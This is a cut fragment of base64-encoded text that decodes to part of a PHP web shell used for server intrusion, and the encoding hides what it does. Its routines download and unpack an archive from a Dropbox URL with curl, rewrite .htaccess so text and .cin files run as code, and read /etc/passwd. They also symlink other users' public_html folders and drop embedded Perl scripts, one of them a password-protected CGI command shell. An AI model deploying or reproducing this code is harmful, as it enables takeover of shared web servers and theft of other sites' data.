lcicgY2xhc3M9J3N0eWxlNCc+CiAgICAgICAgPGRpdiBhbGlnbj0nbGVmdCc+CiAgICAgICAgICA8Zm9ybSBuYW1lPSdmb3JtNCcgbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+CiAgICAgICAgICAgICBWaWV3IERpcmVjdG9yeSA6IAogICAgICAgICAgICAgPGlucHV0IG5hbWU9J0dvRGlyJyB0eXBlPSd0ZXh0JyBjbGFzcz0nRElSJyBpZD0nR29EaXInIHNpemU9JzEyMCc+CiAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzI4MCcgc3R5bGU9J3BhZGRpbmc6MjBweCAyMHB4IDIwcHggMjBweCAnPiI7CgoKaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTAnXSkpCnsKQG1rZGlyKCJCeVBhc3NTeW0iKTsKQGNoZGlyKCJCeVBhc3NTeW0iKTsKQGV4ZWMoJ2N1cmwgaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzQ0MjUzOTEvc3ltLnRhciAtbyBzeW0udGFyJyk7CkBleGVjKCd0YXIgLXh2ZiBzeW0udGFyJyk7CgplY2hvICI8aWZyYW1lIHNyYz1CeVBhc3NTeW0vc3ltIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKCiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggc3Nzc3NzLmh0bQpBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAnOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGxpbmVzMz1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCEkbGluZXMzKSB7CiRhdXRocCA9IEBwb3BlbigiL2Jpbi9jYXQgL2V0Yy9wYXNzd2QiLCAiciIpOwokaSA9IDA7CndoaWxlICghZmVvZigkYXV0aHApKQokYXJlc3VsdFskaSsrXSA9IGZnZXRzKCRhdXRocCwgNDA5Nik7CiRsaW5lczMgPSAkYXJlc3VsdDsKQHBjbG9zZSgkYXV0aHApOwp9CmlmICghJGxpbmVzMykgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IFJlYWQgL2V0Yy9wYXNzd2QgRmlsZSAuPC9mb250PjxCUj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IE1ha2UgVGhlIFVzZXJzIFNob3J0Y3V0cyAuPC9mb250PjxCUj4iOwplY2hvICc8Zm9udCBjb2xvcj1yZWQ+WytdIEZpbmlzaCAhPC9mb250PjxCUj4nOwp9CmVsc2Ugewpmb3JlYWNoKCRsaW5lczMgYXMgJGxpbmVfbnVtMz0+JGxpbmUzKXsKJHNwcnQzPWV4cGxvZGUoIjoiLCRsaW5lMyk7CiR1c2VyMz0kc3BydDNbMF07CkBleGVjKCcuL2xuIC1zIC9ob21lLycuJHVzZXIzLicvcHVibGljX2h0bWwgJyAuICR1c2VyMyk7Cn0KfQp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEyJ10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICI8aWZyYW1lIHNyYz1zeW1saW5rdXNlci8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwokZmlsZTMgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4nOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGZpbGVTID0gYmFzZTY0X2RlY29kZSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNDbTl3Wlc0Z1NVNVFWVlFzSUNJOEwyVjBZeTl3WVhOemQyUWlPd3AzYUdsc1pTQW9JRHhKVGxCVgpWRDRnS1FwN0NpUnNhVzVsUFNSZk95QkFjM0J5ZEQxemNHeHBkQ2d2T2k4c0pHeHBibVVwT3lBa2RYTmxjajBrYzNCeWRGc3dYVHNLCmMzbHpkR1Z0S0Nkc2JpQXRjeUF2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3dnSnlBdUlDUjFjMlZ5S1RzS2ZRPT0KIik7CiRmcFMgPSBAZm9wZW4oIlBMLVN5bWxpbmsuY2luIiwndycpOwokZndTID0gQGZ3cml0ZSgkZnBTLCRmaWxlUyk7CmlmICgkZndTKSB7CiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwppZiAoISRURVNUKSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgUmVhZCAvZXRjL3Bhc3N3ZCBGaWxlIC48L2ZvbnQ+PEJSPiI7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgQ3JlYXRlIFVzZXJzIFNob3J0Y3V0cyAuPC9mb250PjxCUj4iOwplY2hvICc8Zm9udCBjb2xvcj1yZWQ+WytdIEZpbmlzaCAhPC9mb250PjxCUj4nOwp9CmVsc2UgewpjaG1vZCgiUEwtU3ltbGluay5jaW4iLDA3NTUpOwplY2hvIEBzaGVsbF9leGVjKCJwZXJsIFBMLVN5bWxpbmsuY2luIik7Cn0KQGZjbG9zZSgkZnBTKTsKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSBQZXJsIEZpbGUgITwvZm9udD4iOwp9Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTMnXSkpCnsKQG1rZGlyKCJjZ2lzaGVsbCIpOwpAY2hkaXIoImNnaXNoZWxsIik7CiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7CiAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7CiAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNpbgoKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokY2dpc2hlbGxpem9jaW4gPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV0ZwYmdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1BHSWdjM1I1YkdVOUltTnZiRzl5T21Kc1lXTnJPMkpoWTJ0bmNtOTFibVF0WTI5c2IzSTZJMlptWm1ZMk5pSStjSEpwZGpnZ1kyZHBJSE5vWld4c1BDOWlQaUFqSUhObGNuWmxjZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nUTI5dVptbG5kWEpoZEdsdmJqb2dXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGxJRzl1YkhrZ0pGQmhjM04zYjNKa0lHRnVaQ0FrVjJsdVRsUXVJRlJvWlNCdmRHaGxjZ29qSUhaaGJIVmxjeUJ6YUc5MWJHUWdkMjl5YXlCbWFXNWxJR1p2Y2lCdGIzTjBJSE41YzNSbGJYTXVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtKRkJoYzNOM2IzSmtJRDBnSW5CeWFYWTRJanNKQ1NNZ1EyaGhibWRsSUhSb2FYTXVJRmx2ZFNCM2FXeHNJRzVsWldRZ2RHOGdaVzUwWlhJZ2RHaHBjd29KQ1FrSkl5QjBieUJzYjJkcGJpNEtDaVJYYVc1T1ZDQTlJREE3Q1FrSkl5QlpiM1VnYm1WbFpDQjBieUJqYUdGdVoyVWdkR2hsSUhaaGJIVmxJRzltSUhSb2FYTWdkRzhnTVNCcFpnb0pDUWtKSXlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdseklITmpjbWx3ZENCdmJpQmhJRmRwYm1SdmQzTWdUbFFLQ1FrSkNTTWdiV0ZqYUdsdVpTNGdTV1lnZVc5MUozSmxJSEoxYm01cGJtY2dhWFFnYjI0Z1ZXNXBlQ3dnZVc5MUNna0pDUWtqSUdOaGJpQnNaV0YyWlNCMGFHVWdkbUZzZFdVZ1lYTWdhWFFnYVhNdUNnb2tUbFJEYldSVFpYQWdQU0FpSmlJN0NRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkl5QnBiaUJoSUdOdmJXMWhibVFnYkdsdVpTQnZiaUJYYVc1a2IzZHpJRTVVTGdvS0pGVnVhWGhEYldSVFpYQWdQU0FpT3lJN0NRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkl5QnBiaUJoSUdOdmJXMWhibVFnYkdsdVpTQnZiaUJWYm1sNExnb0tKRU52YlcxaGJtUlVhVzFsYjNWMFJIVnlZWFJwYjI0Z1BTQXhNRHNKSXlCVWFXMWxJR2x1SUhObFkyOXVaSE1nWVdaMFpYSWdZMjl0YldGdVpITWdkMmxzYkNCaVpTQnJhV3hzWldRS0NRa0pDU01nUkc5dUozUWdjMlYwSUhSb2FYTWdkRzhnWVNCMlpYSjVJR3hoY21kbElIWmhiSFZsTGlCVWFHbHpJR2x6Q2drSkNRa2pJSFZ6WldaMWJDQm1iM0lnWTI5dGJXRnVaSE1nZEdoaGRDQnRZWGtnYUdGdVp5QnZjaUIwYUdGMENna0pDUWtqSUhSaGEyVWdkbVZ5ZVNCc2IyNW5JSFJ2SUdWNFpXTjFkR1VzSUd4cGEyVWdJbVpwYm1RZ0x5SXVDZ2tKQ1FraklGUm9hWE1nYVhNZ2RtRnNhV1FnYjI1c2VTQnZiaUJWYm1sNElITmxjblpsY25NdUlFbDBJR2x6Q2drSkNRa2pJR2xuYm05eVpXUWdiMjRnVGxRZ1UyVnlkbVZ5Y3k0S0NpUlRhRzkzUkhsdVlXMXBZMDkxZEhCMWRDQTlJREU3Q1FraklFbG1JSFJvYVhNZ2FYTWdNU3dnZEdobGJpQmtZWFJoSUdseklITmxiblFnZEc4Z2RHaGxDZ2tKQ1FraklHSnliM2R6WlhJZ1lYTWdjMjl2YmlCaGN5QnBkQ0JwY3lCdmRYUndkWFFzSUc5MGFHVnlkMmx6WlFvSkNRa0pJeUJwZENCcGN5QmlkV1ptWlhKbFpDQmhibVFnYzJWdVpDQjNhR1Z1SUhSb1pTQmpiMjF0WVc1a0Nna0pDUWtqSUdOdmJYQnNaWFJsY3k0Z1ZHaHBjeUJwY3lCMWMyVm1kV3dnWm05eUlHTnZiVzFoYm1SeklHeHBhMlVLQ1FrSkNTTWdjR2x1Wnl3Z2MyOGdkR2hoZENCNWIzVWdZMkZ1SUhObFpTQjBhR1VnYjNWMGNIVjBJR0Z6SUdsMENna0pDUWtqSUdseklHSmxhVzVuSUdkbGJtVnlZWFJsWkM0S0NpTWdSRTlPSjFRZ1EwaEJUa2RGSUVGT1dWUklTVTVISUVKRlRFOVhJRlJJU1ZNZ1RFbE9SU0JWVGt4RlUxTWdXVTlWSUV0T1QxY2dWMGhCVkNCWlQxVW5Va1VnUkU5SlRrY2dJU0VLQ2lSRGJXUlRaWEFnUFNBb0pGZHBiazVVSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3dva1EyMWtVSGRrSUQwZ0tDUlhhVzVPVkNBL0lDSmpaQ0lnT2lBaWNIZGtJaWs3Q2lSUVlYUm9VMlZ3SUQwZ0tDUlhhVzVPVkNBL0lDSmNYQ0lnT2lBaUx5SXBPd29rVW1Wa2FYSmxZM1J2Y2lBOUlDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPd29LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZKbFlXUnpJSFJvWlNCcGJuQjFkQ0J6Wlc1MElHSjVJSFJvWlNCaWNtOTNjMlZ5SUdGdVpDQndZWEp6WlhNZ2RHaGxJR2x1Y0hWMElIWmhjbWxoWW14bGN5NGdTWFFLSXlCd1lYSnpaWE1nUjBWVUxDQlFUMU5VSUdGdVpDQnRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhJSFJvWVhRZ2FYTWdkWE5sWkNCbWIzSWdkWEJzYjJGa2FXNW5JR1pwYkdWekxnb2pJRlJvWlNCbWFXeGxibUZ0WlNCcGN5QnpkRzl5WldRZ2FXNGdKR2x1ZXlkbUozMGdZVzVrSUhSb1pTQmtZWFJoSUdseklITjBiM0psWkNCcGJpQWthVzU3SjJacGJHVmtZWFJoSjMwdUNpTWdUM1JvWlhJZ2RtRnlhV0ZpYkdWeklHTmhiaUJpWlNCaFkyTmxjM05sWkNCMWMybHVaeUFrYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllLSXlCMGFHVWdkbUZ5YVdGaWJHVXVJRTV2ZEdVNklFMXZjM1FnYjJZZ2RHaGxJR052WkdVZ2FXNGdkR2hwY3lCbWRXNWpkR2x2YmlCcGN5QjBZV3RsYmlCbWNtOXRJRzkwYUdWeUlFTkhTUW9qSUhOamNtbHdkSE11Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGSmxZV1JRWVhKelpTQUtld29KYkc5allXd2dLQ3BwYmlrZ1BTQkFYeUJwWmlCQVh6c0tDV3h2WTJGc0lDZ2thU3dnSkd4dll5d2dKR3RsZVN3Z0pIWmhiQ2s3Q2drS0NTUk5kV3gwYVhCaGNuUkdiM0p0UkdGMFlTQTlJQ1JGVGxaN0owTlBUbFJGVGxSZlZGbFFSU2Q5SUQxK0lDOXRkV3gwYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPd29LQ1dsbUtDUkZUbFo3SjFKRlVWVkZVMVJmVFVWVVNFOUVKMzBnWlhFZ0lrZEZWQ0lwQ2dsN0Nna0pKR2x1SUQwZ0pFVk9WbnNuVVZWRlVsbGZVMVJTU1U1SEozMDdDZ2w5Q2dsbGJITnBaaWdrUlU1V2V5ZFNSVkZWUlZOVVgwMUZWRWhQUkNkOUlHVnhJQ0pRVDFOVUlpa0tDWHNLQ1FsaWFXNXRiMlJsS0ZOVVJFbE9LU0JwWmlBa1RYVnNkR2x3WVhKMFJtOXliVVJoZEdFZ0ppQWtWMmx1VGxRN0Nna0pjbVZoWkNoVFZFUkpUaXdnSkdsdUxDQWtSVTVXZXlkRFQwNVVSVTVVWDB4RlRrZFVTQ2Q5S1RzS0NYMEtDZ2tqSUdoaGJtUnNaU0JtYVd4bElIVndiRzloWkNCa1lYUmhDZ2xwWmlna1JVNVdleWREVDA1VVJVNVVYMVJaVUVVbmZTQTlmaUF2YlhWc2RHbHdZWEowWEM5bWIzSnRMV1JoZEdFN0lHSnZkVzVrWVhKNVBTZ3VLeWtrTHlrS0NYc0tDUWtrUW05MWJtUmhjbmtnUFNBbkxTMG5MaVF4T3lBaklIQnNaV0Z6WlNCeVpXWmxjaUIwYnlCU1JrTXhPRFkzSUFvSkNVQnNhWE4wSUQwZ2MzQnNhWFFvTHlSQ2IzVnVaR0Z5ZVM4c0lDUnBiaWs3SUFvSkNTUklaV0ZrWlhKQ2IyUjVJRDBnSkd4cGMzUmJNVjA3Q2drSkpFaGxZV1JsY2tKdlpIa2dQWDRnTDF4eVhHNWNjbHh1ZkZ4dVhHNHZPd29KQ1NSSVpXRmtaWElnUFNBa1lEc0tDUWtrUW05a2VTQTlJQ1FuT3dvZ0NRa2tRbTlrZVNBOWZpQnpMMXh5WEc0a0x5ODdJQ01nZEdobElHeGhjM1FnWEhKY2JpQjNZWE1nY0hWMElHbHVJR0o1SUU1bGRITmpZWEJsQ2drSkpHbHVleWRtYVd4bFpHRjBZU2Q5SUQwZ0pFSnZaSGs3Q2drSkpFaGxZV1JsY2lBOWZpQXZabWxzWlc1aGJXVTlYQ0lvTGlzcFhDSXZPeUFLQ1Fra2FXNTdKMlluZlNBOUlDUXhPeUFLQ1Fra2FXNTdKMlluZlNBOWZpQnpMMXdpTHk5bk93b0pDU1JwYm5zblppZDlJRDErSUhNdlhITXZMMmM3Q2dvSkNTTWdjR0Z5YzJVZ2RISmhhV3hsY2dvSkNXWnZjaWdrYVQweU95QWtiR2x6ZEZza2FWMDdJQ1JwS3lzcENna0pleUFLQ1FrSkpHeHBjM1JiSkdsZElEMStJSE12WGk0cmJtRnRaVDBrTHk4N0Nna0pDU1JzYVhOMFd5UnBYU0E5ZmlBdlhDSW9YSGNyS1Z3aUx6c0tDUWtKSkd0bGVTQTlJQ1F4T3dvSkNRa2tkbUZzSUQwZ0pDYzdDZ2tKQ1NSMllXd2dQWDRnY3k4b1hpaGNjbHh1WEhKY2JueGNibHh1S1NsOEtGeHlYRzRrZkZ4dUpDa3ZMMmM3Q2drSkNTUjJZV3dnUFg0Z2N5OGxLQzR1S1M5d1lXTnJLQ0pqSWl3Z2FHVjRLQ1F4S1NrdloyVTdDZ2tKQ1NScGJuc2thMlY1ZlNBOUlDUjJZV3c3SUFvSkNYMEtDWDBLQ1dWc2MyVWdJeUJ6ZEdGdVpHRnlaQ0J3YjNOMElHUmhkR0VnS0hWeWJDQmxibU52WkdWa0xDQnViM1FnYlhWc2RHbHdZWEowS1FvSmV3b0pDVUJwYmlBOUlITndiR2wwS0M4bUx5d2dKR2x1S1RzS0NRbG1iM0psWVdOb0lDUnBJQ2d3SUM0dUlDUWphVzRwQ2drSmV3b0pDUWtrYVc1YkpHbGRJRDErSUhNdlhDc3ZJQzluT3dvSkNRa29KR3RsZVN3Z0pIWmhiQ2tnUFNCemNHeHBkQ2d2UFM4c0lDUnBibHNrYVYwc0lESXBPd29KQ1Fra2EyVjVJRDErSUhNdkpTZ3VMaWt2Y0dGamF5Z2lZeUlzSUdobGVDZ2tNU2twTDJkbE93b0pDUWtrZG1Gc0lEMStJSE12SlNndUxpa3ZjR0ZqYXlnaVl5SXNJR2hsZUNna01Ta3BMMmRsT3dvSkNRa2thVzU3Skd0bGVYMGdMajBnSWx3d0lpQnBaaUFvWkdWbWFXNWxaQ2drYVc1N0pHdGxlWDBwS1RzS0NRa0pKR2x1ZXlSclpYbDlJQzQ5SUNSMllXdzdDZ2tKZlFvSmZRcDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVUhKcGJuUnpJSFJvWlNCSVZFMU1JRkJoWjJVZ1NHVmhaR1Z5Q2lNZ1FYSm5kVzFsYm5RZ01Ub2dSbTl5YlNCcGRHVnRJRzVoYldVZ2RHOGdkMmhwWTJnZ1ptOWpkWE1nYzJodmRXeGtJR0psSUhObGRBb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJRY21sdWRGQmhaMlZJWldGa1pYSUtld29KSkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SUQwZ0pFTjFjbkpsYm5SRWFYSTdDZ2trUlc1amIyUmxaRU4xY25KbGJuUkVhWElnUFg0Z2N5OG9XMTVoTFhwQkxWb3dMVGxkS1M4bkpTY3VkVzV3WVdOcktDSklLaUlzSkRFcEwyVm5Pd29KY0hKcGJuUWdJa052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzlvZEcxc1hHNWNiaUk3Q2dsd2NtbHVkQ0E4UEVWT1JEc0tQR2gwYld3K0NqeG9aV0ZrUGdvOGRHbDBiR1UrY0hKcGRqZ2dZMmRwSUhOb1pXeHNQQzkwYVhSc1pUNEtKRWgwYld4TlpYUmhTR1ZoWkdWeUNnbzhiV1YwWVNCdVlXMWxQU0pyWlhsM2IzSmtjeUlnWTI5dWRHVnVkRDBpY0hKcGRqZ2dZMmRwSUhOb1pXeHNJQ0JmSUNBZ0lDQnBOVjlBYUc5MGJXRnBiQzVqYjIwaVBnbzhiV1YwWVNCdVlXMWxQU0prWlhOamNtbHdkR2x2YmlJZ1kyOXVkR1Z1ZEQwaWNISnBkamdnWTJkcElITm9aV3hzSUNCZklDQWdJR2sxWDBCb2IzUnRZV2xzTG1OdmJTSStDand2YUdWaFpENEtQR0p2WkhrZ2IyNU1iMkZrUFNKa2IyTjFiV1Z1ZEM1bUxrQmZMbVp2WTNWektDa2lJR0puWTI5c2IzSTlJaU13TURBd01EQWlJSFJ2Y0cxaGNtZHBiajBpTUNJZ2JHVm1kRzFoY21kcGJqMGlNQ0lnYldGeVoybHVkMmxrZEdnOUlqQWlJRzFoY21kcGJtaGxhV2RvZEQwaU1DSWdkR1Y0ZEQwaUl6QXdRVUV3TUNJK0NqeDBZV0pzWlNCaWIzSmtaWEk5SWpFaUlIZHBaSFJvUFNJeE1EQWxJaUJqWld4c2MzQmhZMmx1WnowaU1DSWdZMlZzYkhCaFpHUnBibWM5SWpJaVBnbzhkSEkrQ2p4MFpDQmlaMk52Ykc5eVBTSWpSa1pHUmtaR0lpQmliM0prWlhKamIyeHZjajBpSTBaR1JrWkdSaUlnWVd4cFoyNDlJbU5sYm5SbGNpSWdkMmxrZEdnOUlqRWxJajRLUEdJK1BHWnZiblFnYzJsNlpUMGlNaUkrSXp3dlptOXVkRDQ4TDJJK1BDOTBaRDRLUEhSa0lHSm5ZMjlzYjNJOUlpTXdNREF3TUNJZ2QybGtkR2c5SWprNEpTSStQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzJsNlpUMGlNaUkrUEdJK0lBbzhZaUJ6ZEhsc1pUMGlZMjlzYjNJNllteGhZMnM3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qWm1abVpqWTJJajV3Y21sMk9DQmpaMmtnYzJobGJHdzhMMkkrSUVOdmJtNWxZM1JsWkNCMGJ5QWtVMlZ5ZG1WeVRtRnRaVHd2WWo0OEwyWnZiblErUEM5MFpENEtQQzkwY2o0S1BIUnlQZ284ZEdRZ1kyOXNjM0JoYmowaU1pSWdZbWRqYjJ4dmNqMGlJekF3TURBd0lqNDhabTl1ZENCbVlXTmxQU0pXWlhKa1lXNWhJaUJ6YVhwbFBTSXlJajRLQ2p4aElHaHlaV1k5SWlSVFkzSnBjSFJNYjJOaGRHbHZiajloUFhWd2JHOWhaQ1prUFNSRmJtTnZaR1ZrUTNWeWNtVnVkRVJwY2lJK1BHWnZiblFnWTI5c2IzSTlJaU5HUmpBd01EQWlQbFZ3Ykc5aFpDQkdhV3hsUEM5bWIyNTBQand2WVQ0Z2ZDQUtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dVAyRTlaRzkzYm14dllXUW1aRDBrUlc1amIyUmxaRU4xY25KbGJuUkVhWElpUGp4bWIyNTBJR052Ykc5eVBTSWpSa1l3TURBd0lqNUViM2R1Ykc5aFpDQkdhV3hsUEM5bWIyNTBQand2WVQ0Z2ZBbzhZU0JvY21WbVBTSWtVMk55YVhCMFRHOWpZWFJwYjI0L1lUMXNiMmR2ZFhRaVBqeG1iMjUwSUdOdmJHOXlQU0lqUmtZd01EQXdJajVFYVhOamIyNXVaV04wUEM5bWIyNTBQand2WVQ0Z2ZBbzhMMlp2Ym5RK1BDOTBaRDRLUEM5MGNqNEtQQzkwWVdKc1pUNEtQR1p2Ym5RZ2MybDZaVDBpTXlJK0NrVk9SQXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1VISnBiblJ6SUhSb1pTQk1iMmRwYmlCVFkzSmxaVzRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1VISnBiblJNYjJkcGJsTmpjbVZsYmdwN0Nna2tUV1Z6YzJGblpTQTlJSEVrUEM5bWIyNTBQanhvTVQ1d1lYTnpQWEJ5YVhZNFBDOW9NVDQ4Wm05dWRDQmpiMnh2Y2owaUl6QXdPVGt3TUNJZ2MybDZaVDBpTXlJK1BIQnlaVDQ4YVcxbklHSnZjbVJsY2owaU1DSWdjM0pqUFNKb2RIUndPaTh2ZDNkM0xuQnlhWFk0TG1saWJHOW5aMlZ5TG05eVp5OXpMbkJvY0Q4clkyZHBkR1ZzYm1WMElITm9aV3hzSWlCM2FXUjBhRDBpTUNJZ2FHVnBaMmgwUFNJd0lqNDhMM0J5WlQ0S0pEc0tJeWNLQ1hCeWFXNTBJRHc4UlU1RU93bzhZMjlrWlQ0S0NsUnllV2x1WnlBa1UyVnlkbVZ5VG1GdFpTNHVManhpY2o0S1EyOXVibVZqZEdWa0lIUnZJQ1JUWlhKMlpYSk9ZVzFsUEdKeVBncEZjMk5oY0dVZ1kyaGhjbUZqZEdWeUlHbHpJRjVkQ2p4amIyUmxQaVJOWlhOellXZGxDa1ZPUkFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0J0WlhOellXZGxJSFJvWVhRZ2FXNW1iM0p0Y3lCMGFHVWdkWE5sY2lCdlppQmhJR1poYVd4bFpDQnNiMmRwYmdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlFjbWx1ZEV4dloybHVSbUZwYkdWa1RXVnpjMkZuWlFwN0NnbHdjbWx1ZENBOFBFVk9SRHNLUEdOdlpHVStDanhpY2o1c2IyZHBiam9nWVdSdGFXNDhZbkkrQ25CaGMzTjNiM0prT2p4aWNqNEtURzluYVc0Z2FXNWpiM0p5WldOMFBHSnlQanhpY2o0S